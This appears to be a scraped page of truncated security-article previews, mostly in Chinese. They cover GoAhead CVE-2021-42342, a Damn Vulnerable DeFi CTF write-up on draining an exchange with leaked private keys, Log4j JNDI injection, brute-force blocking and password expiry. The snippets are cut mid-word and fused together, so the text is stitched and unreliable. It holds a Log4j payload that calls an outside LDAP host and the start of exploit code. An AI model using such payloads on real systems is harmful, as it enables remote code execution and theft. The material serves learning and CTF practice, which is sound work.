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GoAhead Server 环境变量注入（CVE-2021-42342）
GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的Web Server，多用于嵌入式系统、智能设备。其支持运行ASP、Javascript和标准的CGI程序。 这个漏洞是CVE-2017-17562漏洞补丁的绕过，攻击者可以利用该补丁没有考虑到的multipart表单控制目标服务器的环境变量【damnvulnerabledefi】ctf 7-11
第七题：Compromised 题目中的字符串hex转ascii 再base解码得到3个truster中的2个钱包私钥。 通过让2个钱包地址提交修改价格可以影响中间价格。先设置为0.01购买后再改为exchange的剩余eth再卖出即可掏空exchange。 exp利用： const key1 = "0xc678ef1aa456da65c6fc5861d44892log4j漏洞产生方法和预防
产生方法 https://0xsapra.github.io/website/CVE-2019-17571 核心部分${jndi:ldap://xxxxx.dnslog.cn/exp} 想办法把用户输入的可执行字符串送到这个位置就行了，日志里经常打印请求参数之类用户输入的内容，比如"参数a:<请求的输入 攻击伪代码示例： import org.apache.log4j.LoApache Log4j 漏洞（JNDI注入 CVE-2021-44228）
漏洞 影响范围 2.0 <= Apache log4j <= 2.14.1 利用 import org.apache.log4j.Logger; import java.io.*; import java.sql.SQLException; import java.util.*; public class VulnerableLog4jExampleHandler implements HttpHandler { static Logger log = Logger.getBlocking Brute Force Attacks
Blocking Brute Force Attacks A common threat web developers face is a password-guessing attack known as a brute force attack. A brute-force attack is an attempt to discover a password by systematically trying every possible combination of letters, numbersHow does changing your password every 90 days increase security?
How does changing your password every 90 days increase security? 回答1 The reason password expiration policies exist, is to mitigate the problems that would occur if an attacker acquired the password hashes of your system and were to break them. These poli